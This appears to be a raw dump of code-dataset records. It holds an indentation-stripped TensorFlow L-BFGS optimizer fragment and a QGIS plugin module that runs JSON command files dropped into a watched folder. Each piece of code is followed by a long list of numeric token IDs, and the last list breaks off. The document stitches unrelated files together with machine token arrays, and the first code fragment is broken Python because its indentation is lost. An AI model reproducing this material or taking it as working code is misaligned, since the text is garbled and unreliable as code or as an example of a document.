# we'll use tf.dynamic_stitch and tf.dynamic_partition later, so we need to
# prepare required information first
count = 0
idx = [] # stitch indices
part = [] # partition indices
for i, shape in enumerate(shapes):
n = numpy.product(shape)
idx.append(tf.reshape(tf.range(count, count + n, dtype=tf.int32), shape))
part.extend([i] * n)
count += n
part = tf.constant(part)
@tf.function
def assign_new_model_parameters(weights):
"""
Updates the model's weights
:param tf.Tensor weights: representing the model's weights
"""
weights = tf.cast(weights, tf.float64)
params = tf.dynamic_partition(weights, part, n_tensors)
for i, (shape, param) in enumerate(zip(shapes, params)):
model.trainable_variables[i].assign(tf.reshape(param, shape))
@tf.function
def train_step(weights):
# use GradientTape so that we can calculate the gradient of loss w.r.t. parameters
with tf.GradientTape() as tape:
# update the parameters in the model
assign_new_model_parameters(weights)
# calculate the loss
loss_value = loss_fcn(y, model(x, training=True))
# calculate gradients and convert to 1D tf.Tensor
grads = tape.gradient(loss_value, model.trainable_variables)
grads = tf.dynamic_stitch(idx, grads)
return loss_value, grads
def f(weights):
"""
Function that can be used in the L-BFGS implementation.
This function is created by function_factory.
:param tf.Tensor weights: representing the model's weights
:return: tf.Tensor loss_value: current loss value, tf.Tensor grads: gradients w.r.t. the weights
"""
loss_value, grads = train_step(weights)
# print out iteration & loss
f.iter += 1
callback_fcn(f.iter, loss_value, epochs, x_test, y_test, val_freq=val_freq, log_freq=log_freq, verbose=verbose)
# store loss value so we can retrieve later
tf.py_function(f.history.append, inp=[loss_value], Tout=[])
return loss_value, grads
# store these information as members so we can use them outside the scope
f.iter = 0
f.idx = idx
f.part = part
f.shapes = shapes
f.assign_new_model_parameters = assign_new_model_parameters
f.history = []
return f
class LBFGS:
"""
Class used to represent the L-BFGS optimizer.
"""
def minimize(self, model, loss_fcn, x, y, callback_fcn, epochs=2000, learning_rate=1.,
x_test=None, y_test=None, val_freq=1000, log_freq=1000, verbose=1):
"""
Performs the Neural Network training with the L-BFGS implementation.
:param tf.keras.Model model: an instance of `tf.keras.Model` or its subclasses
:param object loss_fcn: a function with signature loss_value = loss(y_pred, y_true)
:param tf.tensor x: input tensor of the training dataset
:param tf.tensor y: output tensor of the training dataset
:param object callback_fcn: callback function, which is called after each epoch
:param int epochs: number of epochs
:param tf.tensor x_test: input tensor of the test dataset, used to evaluate accuracy
:param tf.tensor y_test: output tensor of the test dataset, used to evaluate accuracy
"""
func = function_factory(model, loss_fcn, x, y, callback_fcn, epochs, x_test=x_test, y_test=y_test,
val_freq=val_freq, log_freq=log_freq, verbose=verbose)
# convert initial model parameters to a 1D tf.Tensor
init_params = tf.dynamic_stitch(func.idx, model.trainable_variables)
nt_epochs = epochs
nt_config = Struct()
nt_config.learningRate = learning_rate
nt_config.maxIter = nt_epochs
nt_config.nCorrection = 50
nt_config.tolFun = 1.0 * np.finfo(float).eps
lbfgs(func, init_params, nt_config, Struct(), True, lambda x, y, z: None)
| [
1,
835,
13383,
13383,
13383,
13383,
13383,
13383,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29896,
529,
5813,
29958,
13,
29937,
13,
29937,
20894,
2333,
338,
1244,
1609,
16896,
29892,
3889,
310,
8323,
29892,
304,
738,
2022,
4017,
292,
263,
3509,
13,
29937,
310,
445,
7047,
322,
6942,
5106,
2066,
313,
1552,
376,
6295,
14093,
4968,
304,
5376,
13,
29937,
297,
278,
18540,
1728,
24345,
29892,
3704,
1728,
29485,
278,
10462,
13,
29937,
304,
671,
29892,
3509,
29892,
6623,
29892,
10366,
29892,
9805,
29892,
1320,
2666,
29892,
269,
803,
1947,
29892,
322,
29914,
272,
19417,
13,
29937,
14591,
310,
278,
18540,
29892,
322,
304,
14257,
12407,
304,
6029,
278,
18540,
338,
13,
29937,
15252,
3276,
304,
437,
577,
29892,
4967,
304,
278,
1494,
5855,
29901,
13,
29937,
13,
29937,
450,
2038,
3509,
1266,
8369,
322,
445,
10751,
8369,
4091,
367,
5134,
297,
599,
13,
29937,
14591,
470,
23228,
2011,
1080,
310,
278,
18540,
29889,
13,
29937,
29871,
13,
29937,
6093,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
376,
3289,
8519,
613,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29979,
8079,
13764,
29979,
476,
22255,
29892,
8528,
15094,
1799,
6323,
13,
29937,
306,
3580,
5265,
3352,
29892,
2672,
6154,
15789,
4214,
350,
2692,
6058,
27848,
3352,
7495,
6093,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
29892,
13,
29937,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
5300,
405,
1164,
1177,
15860,
1177,
1692,
13780,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
13,
29937,
26524,
29950,
24125,
6323,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
20700,
17705,
6181,
15842,
13764,
29979,
315,
4375,
7833,
29892,
21330,
1529,
1692,
29903,
6323,
438,
29911,
4448,
13,
29937,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13764,
319,
9838,
8079,
8707,
29911,
4717,
1783,
29892,
323,
8476,
6323,
438,
29911,
4448,
22119,
1660,
29892,
9033,
3235,
4214,
3895,
29892,
13,
29937,
19474,
8079,
6323,
2672,
8707,
8186,
9838,
22659,
6093,
7791,
7818,
12982,
1525,
6323,
6093,
501,
1660,
6323,
438,
29911,
4448,
5012,
1964,
4214,
29903,
2672,
6093,
13,
29937,
7791,
7818,
12982,
1525,
29889,
13,
29937,
13,
13383,
13383,
13383,
13383,
13383,
13383,
2277,
29937,
13,
5215,
12655,
13,
5215,
26110,
408,
15886,
13,
13,
5215,
12655,
408,
7442,
13,
13,
3166,
2967,
29889,
6341,
29918,
29880,
1635,
3174,
1053,
301,
1635,
3174,
29892,
28771,
13,
13,
13,
1753,
740,
29918,
14399,
29898,
4299,
29892,
6410,
29918,
13801,
29876,
29892,
921,
29892,
343,
29892,
6939,
29918,
13801,
29876,
29892,
21502,
12168,
29892,
921,
29918,
1688,
29922,
8516,
29892,
343,
29918,
1688,
29922,
8516,
29892,
13,
462,
268,
659,
29918,
29888,
7971,
29922,
29896,
29900,
29900,
29900,
29892,
1480,
29918,
29888,
7971,
29922,
29896,
29900,
29900,
29900,
29892,
26952,
29922,
29896,
1125,
13,
1678,
9995,
13,
1678,
319,
12529,
304,
1653,
263,
740,
3734,
491,
278,
365,
29899,
28062,
10749,
5314,
29889,
13,
13,
1678,
584,
3207,
15886,
29889,
3946,
294,
29889,
3195,
1904,
29901,
385,
2777,
310,
421,
13264,
29889,
3946,
294,
29889,
3195,
29952,
470,
967,
1014,
13203,
13,
1678,
584,
3207,
1203,
6410,
29918,
13801,
29876,
29901,
263,
740,
411,
12608,
6410,
29918,
1767,
353,
6410,
29898,
29891,
29918,
11965,
29892,
343,
29918,
3009,
29897,
13,
1678,
584,
3207,
15886,
29889,
20158,
921,
29901,
1881,
12489,
310,
278,
6694,
8783,
13,
1678,
584,
3207,
15886,
29889,
20158,
343,
29901,
1962,
12489,
310,
278,
6694,
8783,
13,
1678,
584,
3207,
1203,
6939,
29918,
13801,
29876,
29901,
6939,
740,
29892,
607,
338,
2000,
1156,
1269,
21502,
305,
13,
1678,
584,
3207,
938,
21502,
12168,
29901,
1353,
310,
21502,
12168,
13,
1678,
584,
3207,
15886,
29889,
20158,
921,
29918,
1688,
29901,
1881,
12489,
310,
278,
1243,
8783,
29892,
1304,
304,
14707,
13600,
13,
1678,
584,
3207,
15886,
29889,
20158,
343,
29918,
1688,
29901,
1962,
12489,
310,
278,
1243,
8783,
29892,
1304,
304,
14707,
13600,
13,
1678,
584,
2457,
29901,
1203,
29901,
263,
740,
393,
756,
278,
12608,
310,
6410,
29918,
1767,
29892,
4656,
10070,
353,
285,
29898,
4299,
29918,
16744,
29897,
13,
1678,
9995,
13,
13,
1678,
396,
4017,
278,
25834,
310,
599,
7945,
519,
4128,
297,
278,
1904,
13,
1678,
25834,
353,
15886,
29889,
12181,
29918,
29876,
29898,
4299,
29889,
14968,
519,
29918,
20897,
29897,
13,
1678,
302,
29918,
29873,
575,
943,
353,
7431,
29898,
845,
11603,
29897,
13,
13,
1678,
396,
591,
29915,
645,
671,
15886,
29889,
16626,
29918,
303,
2335,
322,
15886,
29889,
16626,
29918,
16707,
2678,
29892,
577,
591,
817,
304,
13,
1678,
396,
19012,
3734,
2472,
937,
13,
1678,
2302,
353,
29871,
29900,
13,
1678,
22645,
353,
5159,
29871,
396,
380,
2335,
16285,
13,
1678,
760,
353,
5159,
29871,
396,
8877,
16285,
13,
13,
1678,
363,
474,
29892,
8267,
297,
26985,
29898,
845,
11603,
1125,
13,
4706,
302,
353,
12655,
29889,
4704,
29898,
12181,
29897,
13,
4706,
22645,
29889,
4397,
29898,
13264,
29889,
690,
14443,
29898,
13264,
29889,
3881,
29898,
2798,
29892,
2302,
718,
302,
29892,
26688,
29922,
13264,
29889,
524,
29941,
29906,
511,
8267,
876,
13,
4706,
760,
29889,
21843,
4197,
29875,
29962,
334,
302,
29897,
13,
4706,
2302,
4619,
302,
13,
13,
1678,
760,
353,
15886,
29889,
23362,
29898,
1595,
29897,
13,
13,
1678,
732,
13264,
29889,
2220,
13,
1678,
822,
3566,
29918,
1482,
29918,
4299,
29918,
16744,
29898,
705,
5861,
1125,
13,
4706,
9995,
13,
4706,
5020,
15190,
278,
1904,
29915,
29879,
18177,
13,
13,
4706,
584,
3207,
15886,
29889,
29911,
6073,
18177,
29901,
15783,
278,
1904,
29915,
29879,
18177,
13,
4706,
9995,
13,
13,
4706,
18177,
353,
15886,
29889,
4384,
29898,
705,
5861,
29892,
15886,
29889,
7411,
29953,
29946,
29897,
13,
13,
4706,
8636,
353,
15886,
29889,
16626,
29918,
16707,
29898,
705,
5861,
29892,
760,
29892,
302,
29918,
29873,
575,
943,
29897,
13,
4706,
363,
474,
29892,
313,
12181,
29892,
1828,
29897,
297,
26985,
29898,
7554,
29898,
845,
11603,
29892,
8636,
22164,
13,
9651,
1904,
29889,
14968,
519,
29918,
20897,
29961,
29875,
1822,
16645,
29898,
13264,
29889,
690,
14443,
29898,
3207,
29892,
8267,
876,
13,
13,
1678,
732,
13264,
29889,
2220,
13,
1678,
822,
7945,
29918,
10568,
29898,
705,
5861,
1125,
13,
4706,
396,
671,
19295,
993,
29911,
4085,
577,
393,
591,
508,
8147,
278,
16030,
310,
6410,
281,
29889,
29878,
29889,
29873,
29889,
4128,
13,
4706,
411,
15886,
29889,
25584,
993,
29911,
4085,
580,
408,
260,
4085,
29901,
13,
9651,
396,
2767,
278,
4128,
297,
278,
1904,
13,
9651,
3566,
29918,
1482,
29918,
4299,
29918,
16744,
29898,
705,
5861,
29897,
13,
9651,
396,
8147,
278,
6410,
13,
9651,
6410,
29918,
1767,
353,
6410,
29918,
13801,
29876,
29898,
29891,
29892,
1904,
29898,
29916,
29892,
6694,
29922,
5574,
876,
13,
13,
4706,
396,
8147,
4656,
10070,
322,
3588,
304,
29871,
29896,
29928,
15886,
29889,
29911,
6073,
13,
4706,
4656,
29879,
353,
260,
4085,
29889,
24970,
29898,
6758,
29918,
1767,
29892,
1904,
29889,
14968,
519,
29918,
20897,
29897,
13,
4706,
4656,
29879,
353,
15886,
29889,
16626,
29918,
303,
2335,
29898,
13140,
29892,
4656,
29879,
29897,
13,
13,
4706,
736,
6410,
29918,
1767,
29892,
4656,
29879,
13,
13,
1678,
822,
285,
29898,
705,
5861,
1125,
13,
4706,
9995,
13,
4706,
6680,
393,
508,
367,
1304,
297,
278,
365,
29899,
28062,
10749,
5314,
29889,
13,
4706,
910,
740,
338,
2825,
491,
740,
29918,
14399,
29889,
13,
13,
4706,
584,
3207,
15886,
29889,
29911,
6073,
18177,
29901,
15783,
278,
1904,
29915,
29879,
18177,
13,
4706,
584,
2457,
29901,
15886,
29889,
29911,
6073,
6410,
29918,
1767,
29901,
1857,
6410,
995,
29892,
15886,
29889,
29911,
6073,
4656,
29879,
29901,
4656,
10070,
281,
29889,
29878,
29889,
29873,
29889,
278,
18177,
13,
4706,
9995,
13,
4706,
6410,
29918,
1767,
29892,
4656,
29879,
353,
7945,
29918,
10568,
29898,
705,
5861,
29897,
13,
13,
4706,
396,
1596,
714,
12541,
669,
6410,
13,
4706,
285,
29889,
1524,
4619,
29871,
29896,
13,
4706,
6939,
29918,
13801,
29876,
29898,
29888,
29889,
1524,
29892,
6410,
29918,
1767,
29892,
21502,
12168,
29892,
921,
29918,
1688,
29892,
343,
29918,
1688,
29892,
659,
29918,
29888,
7971,
29922,
791,
29918,
29888,
7971,
29892,
1480,
29918,
29888,
7971,
29922,
1188,
29918,
29888,
7971,
29892,
26952,
29922,
369,
15828,
29897,
13,
13,
4706,
396,
3787,
6410,
995,
577,
591,
508,
10563,
2678,
13,
4706,
15886,
29889,
2272,
29918,
2220,
29898,
29888,
29889,
18434,
29889,
4397,
29892,
297,
29886,
11759,
6758,
29918,
1767,
1402,
28079,
11759,
2314,
13,
13,
4706,
736,
6410,
29918,
1767,
29892,
4656,
29879,
13,
13,
1678,
396,
3787,
1438,
2472,
408,
5144,
577,
591,
508,
671,
963,
5377,
278,
6874,
13,
1678,
285,
29889,
1524,
353,
29871,
29900,
13,
1678,
285,
29889,
13140,
353,
22645,
13,
1678,
285,
29889,
1595,
353,
760,
13,
1678,
285,
29889,
845,
11603,
353,
25834,
13,
1678,
285,
29889,
16645,
29918,
1482,
29918,
4299,
29918,
16744,
353,
3566,
29918,
1482,
29918,
4299,
29918,
16744,
13,
1678,
285,
29889,
18434,
353,
5159,
13,
13,
1678,
736,
285,
13,
13,
13,
1990,
365,
28062,
10749,
29901,
13,
1678,
9995,
13,
1678,
4134,
1304,
304,
2755,
278,
365,
29899,
28062,
10749,
5994,
3950,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
6260,
675,
29898,
1311,
29892,
1904,
29892,
6410,
29918,
13801,
29876,
29892,
921,
29892,
343,
29892,
6939,
29918,
13801,
29876,
29892,
21502,
12168,
29922,
29906,
29900,
29900,
29900,
29892,
6509,
29918,
10492,
29922,
29896,
1696,
13,
462,
921,
29918,
1688,
29922,
8516,
29892,
343,
29918,
1688,
29922,
8516,
29892,
659,
29918,
29888,
7971,
29922,
29896,
29900,
29900,
29900,
29892,
1480,
29918,
29888,
7971,
29922,
29896,
29900,
29900,
29900,
29892,
26952,
29922,
29896,
1125,
13,
4706,
9995,
13,
4706,
2431,
9514,
278,
2448,
3631,
8527,
6694,
411,
278,
365,
29899,
28062,
10749,
5314,
29889,
13,
13,
4706,
584,
3207,
15886,
29889,
3946,
294,
29889,
3195,
1904,
29901,
385,
2777,
310,
421,
13264,
29889,
3946,
294,
29889,
3195,
29952,
470,
967,
1014,
13203,
13,
4706,
584,
3207,
1203,
6410,
29918,
13801,
29876,
29901,
263,
740,
411,
12608,
6410,
29918,
1767,
353,
6410,
29898,
29891,
29918,
11965,
29892,
343,
29918,
3009,
29897,
13,
4706,
584,
3207,
15886,
29889,
20158,
921,
29901,
1881,
12489,
310,
278,
6694,
8783,
13,
4706,
584,
3207,
15886,
29889,
20158,
343,
29901,
1962,
12489,
310,
278,
6694,
8783,
13,
4706,
584,
3207,
1203,
6939,
29918,
13801,
29876,
29901,
6939,
740,
29892,
607,
338,
2000,
1156,
1269,
21502,
305,
13,
4706,
584,
3207,
938,
21502,
12168,
29901,
1353,
310,
21502,
12168,
13,
4706,
584,
3207,
15886,
29889,
20158,
921,
29918,
1688,
29901,
1881,
12489,
310,
278,
1243,
8783,
29892,
1304,
304,
14707,
13600,
13,
4706,
584,
3207,
15886,
29889,
20158,
343,
29918,
1688,
29901,
1962,
12489,
310,
278,
1243,
8783,
29892,
1304,
304,
14707,
13600,
13,
4706,
9995,
13,
4706,
3653,
353,
740,
29918,
14399,
29898,
4299,
29892,
6410,
29918,
13801,
29876,
29892,
921,
29892,
343,
29892,
6939,
29918,
13801,
29876,
29892,
21502,
12168,
29892,
921,
29918,
1688,
29922,
29916,
29918,
1688,
29892,
343,
29918,
1688,
29922,
29891,
29918,
1688,
29892,
13,
462,
18884,
659,
29918,
29888,
7971,
29922,
791,
29918,
29888,
7971,
29892,
1480,
29918,
29888,
7971,
29922,
1188,
29918,
29888,
7971,
29892,
26952,
29922,
369,
15828,
29897,
13,
13,
4706,
396,
3588,
2847,
1904,
4128,
304,
263,
29871,
29896,
29928,
15886,
29889,
29911,
6073,
13,
4706,
2069,
29918,
7529,
353,
15886,
29889,
16626,
29918,
303,
2335,
29898,
9891,
29889,
13140,
29892,
1904,
29889,
14968,
519,
29918,
20897,
29897,
13,
13,
4706,
302,
29873,
29918,
1022,
2878,
29879,
353,
21502,
12168,
13,
4706,
302,
29873,
29918,
2917,
353,
28771,
580,
13,
4706,
302,
29873,
29918,
2917,
29889,
21891,
19907,
353,
6509,
29918,
10492,
13,
4706,
302,
29873,
29918,
2917,
29889,
3317,
13463,
353,
302,
29873,
29918,
1022,
2878,
29879,
13,
4706,
302,
29873,
29918,
2917,
29889,
29876,
12521,
276,
428,
353,
29871,
29945,
29900,
13,
4706,
302,
29873,
29918,
2917,
29889,
25027,
25394,
353,
29871,
29896,
29889,
29900,
334,
7442,
29889,
29888,
3888,
29898,
7411,
467,
8961,
13,
13,
4706,
301,
1635,
3174,
29898,
9891,
29892,
2069,
29918,
7529,
29892,
302,
29873,
29918,
2917,
29892,
28771,
3285,
5852,
29892,
14013,
921,
29892,
343,
29892,
503,
29901,
6213,
29897,
13,
2
] |
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/gto_remote.py | msgis/swwat-gzp-template | 3 | 192897 | #!/usr/bin/python
# -*- coding: utf-8 -*-
from builtins import str
from PyQt5.QtCore import Qt,QObject,QFileSystemWatcher
#from PyQt5.QtGui import *
import os
import json
import io
from qgis.core import QgsProject,QgsFeatureRequest
from .gto_info import gtoInfo
class gtoRemote(QObject):
def __init__(self, gtomain, parent = None):
try:
super(gtoRemote, self).__init__(parent)
self.gtomain = gtomain
self.iface = gtomain.iface
self.debug = gtomain.debug
self.info = gtoInfo(self)
self.fs_watcher =None
if 'remote_watch_file' in gtomain.settings:
remote_watch_path = gtomain.settings.get('remote_watch_file',None)
if remote_watch_path is not None and remote_watch_path != "":
remote_watch_path = self.gtomain.helper.getFilePath(remote_watch_path)
self.remote_watch_file = os.path.basename(remote_watch_path)
self.remote_watch_dir = os.path.dirname(remote_watch_path)
if self.debug: self.info.log("Watching:",self.remote_watch_dir)
if not os.path.exists(self.remote_watch_dir):
os.makedirs(self.remote_watch_dir)
if self.debug: self.info.log("Created:",self.remote_watch_dir)
self.paths = [self.remote_watch_dir]
self.fs_watcher = QFileSystemWatcher(self.paths)
#if file already exists
self.directory_changed(self.paths[0])
self.fs_watcher.directoryChanged.connect(self.directory_changed)
self.fs_watcher.fileChanged.connect(self.file_changed)
except Exception as e:
self.info.err(e)
def unload(self):
try:
if self.fs_watcher is not None:
self.fs_watcher.directoryChanged.disconnect()
self.fs_watcher.fileChanged.disconnect()
self.fs_watcher = None
except Exception as e:
self.info.err(e)
def directory_changed(self,path):
try:
if self.debug: self.info.log('Directory Changed: %s' % path)
for f in os.listdir(path):
#self.info.log(os.listdir(path))
#if (self.debug and f.lower().endswith(".json")) or f.lower() == self.remote_watch_file.lower():
if f.lower() == self.remote_watch_file.lower():
if self.debug: self.info.log("Execute",f.lower())
self.fs_watcher.blockSignals(True)
self.excuteCommand(path,f)
self.fs_watcher.blockSignals(False)
except Exception as e:
self.info.err(e)
def file_changed(self,path):
try:
if self.debug: self.info.log('File Changed: %s' % path)
except Exception as e:
self.info.err(e)
def excuteCommand(self,path,f):
try:
if self.debug: self.info.log('excute command')
filename = path + '/' + f
#time.sleep(0.5)
f = io.open(filename, encoding='utf-8')
jdata = json.load(f)
f.close()
res = True
for cmd in jdata['commands']:
if self.debug: self.info.log(cmd)
method = getattr(self, cmd['ecommand'])
res = res and (method(self.gtomain, self.debug, **cmd['config']))
if self.debug: self.info.log('result:', res)
if res:
os.remove(filename)
except Exception as e:
self.info.err(e)
def writeRemoteFile(self,jdata,prefix = ''):
try:
if self.debug: self.info.log('writeRemoteFile:', 'data:', jdata)
remotefile = self.gtomain.settings['remote_file']
remotefile = self.gtomain.helper.getFilePath(remotefile, True)
remotefile = '%s%s' % (remotefile,prefix)
if self.debug: self.info.log("remotefile",remotefile)
# write the file
# from io import StringIO
# io = StringIO()
# json.dump(jdata,io,ensure_ascii=False, sort_keys=True,indent=4)
# io.close()
with open(remotefile, 'w',encoding='utf8') as outfile:
sort =True
#simplejson.dump(jdata, outfile,ensure_ascii=False, sort_keys=sort,indent=4)#,encoding='utf8')#.encode('utf8')
json.dump(jdata, outfile, ensure_ascii=False, sort_keys=sort, indent=4) # ,encoding='utf8')#.encode('utf8')
# import pickle
# with open(remotefile, 'wb') as f:
# pickle.dump(jdata,f)
#activate/start remote app
if self.debug: self.info.log('writeRemoteFile:', 'settings:', self.gtomain.settings)
remote_app_file = self.gtomain.settings['remote_app_file']
remote_app_title = self.gtomain.settings['remote_app_title']
if os.name == 'nt':
try:
from .gto_windows import ActivateApp
ActivateApp(self.gtomain, self.debug, remote_app_title, remote_app_file)
except Exception as e:
self.info.err(e)
else:
os.startfile(remote_app_file)
except Exception as e:
self.info.err(e)
def getLayerByName(self,layername):
try:
layers = QgsProject.instance().mapLayersByName(layername)
if layers:
return layers[0]# duplicte names => take the first
else:
return None
except Exception as e:
self.info.err(e)
def getFeatures(self, gtoobj, debug, **kwargs):
try:
if self.debug: self.info.log('getFeatures:', 'parameters:', kwargs)
layername = kwargs['objectclass']
layer = self.getLayerByName(layername)
request = QgsFeatureRequest()
if 'whereclause' in kwargs:
whereclause = kwargs['whereclause']
request.setFilterExpression(whereclause)
elif 'attribute' in kwargs:
attribute = kwargs['attribute']
values = kwargs['data']
expr_in = ''
for v in values:
expr_in = expr_in + '%s ,' % str(v)
expr_in = expr_in[:-1]
expr = '"' + attribute + '" IN (%s)' % expr_in
if self.debug: self.info.log("expr: %s" % expr)
request.setFilterExpression(expr)
features = layer.getFeatures(request)
ids = [f.id() for f in features]
if self.debug: self.info.log("res from request ids:",layer, ids)
return layer, ids
except Exception as e:
gtoobj.info.err(e)
def ZOOMTOFEATURESET(self,gtoobj,debug,**kwargs):
try:
scale = kwargs.get('scale',0)
iface = gtoobj.iface
layer, ids = self.getFeatures(gtoobj,debug,**kwargs)
iface.setActiveLayer(layer)
prj = QgsProject.instance()
prj.layerTreeRoot().findLayer(layer.id()).setItemVisibilityCheckedParentRecursive(True)
#legend.setCurrentLayer(layer)
#legend.setLayerVisible(layer, True)
layer.selectByIds(ids)
iface.mapCanvas().zoomToSelected()
if scale > 0:
iface.mapCanvas().zoomScale(scale)
return True
except Exception as e:
gtoobj.info.err(e)
def SETSELECTSET(self,gtoobj,debug,**kwargs):
try:
iface = gtoobj.iface
layer, ids = self.getFeatures(gtoobj,debug,**kwargs)
layer.removeSelection()
layer.selectByIds(ids)
self.iface.mapCanvas().refresh()
return True
except Exception as e:
gtoobj.info.err(e)
def GETCOORDINATE(self,gtoobj,debug,**kwargs):
try:
objclass = kwargs['objectclass']
id = kwargs['id']
esubcommand = kwargs['esubcommand']
iface = gtoobj.iface
from qgis.gui import QgsMapToolEmitPoint
# create tool
prevTool = iface.mapCanvas().mapTool()
curTool = QgsMapToolEmitPoint(iface.mapCanvas())
def on_click(coordinate, clickedMouseButton):
if debug: gtoobj.info.log("Coordinate:", coordinate)
if clickedMouseButton == Qt.LeftButton:
if esubcommand == 'GETCOORDINATE_ID':
#jdata = {"commands": [{"ecommand": "SETCOORDINATE", "config": {"esubcommand": "SETCOORDINATE_ID","objectclass": objclass.encode('utf8'),"id":id, "x": round( coordinate.x(),3),"y":round(coordinate.y(),3)}}]}
jdata = {"commands": [{"ecommand": "SETCOORDINATE",
"config": {"esubcommand": "SETCOORDINATE_ID",
"objectclass": objclass, "id": id,
"x": round(coordinate.x(), 3),
"y": round(coordinate.y(), 3)}}]}
self.writeRemoteFile(jdata)
if debug: self.info.log("Set prev tool:", prevTool.toolName())
if prevTool is curTool:
iface.mapCanvas().setMapTool(None)
else:
iface.mapCanvas().setMapTool(prevTool)
else:
if debug: self.info.log('Unknown esubcommand:',esubcommand)
def tool_changed(tool): # another tool was activated
iface.mapCanvas().mapToolSet.disconnect(tool_changed)
#curTool.deleteLater()
curTool.canvasClicked.connect(on_click)
iface.mapCanvas().setMapTool(curTool)
iface.mapCanvas().mapToolSet.connect(tool_changed)
return True
except Exception as e:
gtoobj.info.err(e)
def getSelectedFeatures(self,gtoobj, debug, layer,attribute):
try:
data = []
for f in layer.selectedFeatures():
val = f[attribute]
try:
if int(val) == val: val = int(val)
except:
pass
data.append("%s" % str(val))
return data
except Exception as e:
gtoobj.info.err(e) | [
1,
18787,
4855,
29914,
2109,
29914,
4691,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
4240,
1144,
1053,
851,
13,
3166,
10772,
17303,
29945,
29889,
17303,
9203,
1053,
14705,
29892,
29984,
2061,
29892,
29984,
2283,
3924,
24709,
261,
13,
29937,
3166,
10772,
17303,
29945,
29889,
17303,
28707,
1053,
334,
13,
13,
5215,
2897,
13,
5215,
4390,
13,
5215,
12013,
13,
3166,
3855,
29887,
275,
29889,
3221,
1053,
660,
3174,
7653,
29892,
29984,
3174,
19132,
3089,
13,
3166,
869,
29887,
517,
29918,
3888,
1053,
330,
517,
3401,
13,
13,
13,
1990,
330,
517,
20224,
29898,
29984,
2061,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
330,
15135,
475,
29892,
3847,
353,
6213,
1125,
13,
4706,
1018,
29901,
13,
9651,
2428,
29898,
29887,
517,
20224,
29892,
1583,
467,
1649,
2344,
12035,
3560,
29897,
13,
9651,
1583,
29889,
4141,
290,
475,
353,
330,
15135,
475,
13,
9651,
1583,
29889,
361,
815,
353,
330,
15135,
475,
29889,
361,
815,
13,
9651,
1583,
29889,
8382,
353,
330,
15135,
475,
29889,
8382,
13,
9651,
1583,
29889,
3888,
353,
330,
517,
3401,
29898,
1311,
29897,
13,
9651,
1583,
29889,
5847,
29918,
12344,
261,
353,
8516,
13,
13,
9651,
565,
525,
16674,
29918,
12344,
29918,
1445,
29915,
297,
330,
15135,
475,
29889,
11027,
29901,
13,
18884,
7592,
29918,
12344,
29918,
2084,
353,
330,
15135,
475,
29889,
11027,
29889,
657,
877,
16674,
29918,
12344,
29918,
1445,
742,
8516,
29897,
13,
18884,
565,
7592,
29918,
12344,
29918,
2084,
338,
451,
6213,
322,
7592,
29918,
12344,
29918,
2084,
2804,
376,
1115,
13,
462,
1678,
7592,
29918,
12344,
29918,
2084,
353,
1583,
29889,
4141,
290,
475,
29889,
20907,
29889,
657,
2283,
2605,
29898,
16674,
29918,
12344,
29918,
2084,
29897,
13,
462,
1678,
1583,
29889,
16674,
29918,
12344,
29918,
1445,
353,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
16674,
29918,
12344,
29918,
2084,
29897,
13,
462,
1678,
1583,
29889,
16674,
29918,
12344,
29918,
3972,
353,
2897,
29889,
2084,
29889,
25721,
29898,
16674,
29918,
12344,
29918,
2084,
29897,
13,
13,
462,
1678,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
703,
24709,
292,
29901,
613,
1311,
29889,
16674,
29918,
12344,
29918,
3972,
29897,
13,
462,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
1311,
29889,
16674,
29918,
12344,
29918,
3972,
1125,
13,
462,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
1311,
29889,
16674,
29918,
12344,
29918,
3972,
29897,
13,
462,
4706,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
703,
20399,
29901,
613,
1311,
29889,
16674,
29918,
12344,
29918,
3972,
29897,
13,
13,
462,
1678,
1583,
29889,
24772,
353,
518,
1311,
29889,
16674,
29918,
12344,
29918,
3972,
29962,
13,
462,
1678,
1583,
29889,
5847,
29918,
12344,
261,
353,
660,
2283,
3924,
24709,
261,
29898,
1311,
29889,
24772,
29897,
13,
462,
1678,
396,
361,
934,
2307,
4864,
13,
462,
1678,
1583,
29889,
12322,
29918,
15033,
29898,
1311,
29889,
24772,
29961,
29900,
2314,
13,
462,
1678,
1583,
29889,
5847,
29918,
12344,
261,
29889,
12322,
7590,
29889,
6915,
29898,
1311,
29889,
12322,
29918,
15033,
29897,
13,
462,
1678,
1583,
29889,
5847,
29918,
12344,
261,
29889,
1445,
7590,
29889,
6915,
29898,
1311,
29889,
1445,
29918,
15033,
29897,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
443,
1359,
29898,
1311,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
5847,
29918,
12344,
261,
338,
451,
6213,
29901,
13,
18884,
1583,
29889,
5847,
29918,
12344,
261,
29889,
12322,
7590,
29889,
2218,
6915,
580,
13,
18884,
1583,
29889,
5847,
29918,
12344,
261,
29889,
1445,
7590,
29889,
2218,
6915,
580,
13,
18884,
1583,
29889,
5847,
29918,
12344,
261,
353,
6213,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
3884,
29918,
15033,
29898,
1311,
29892,
2084,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
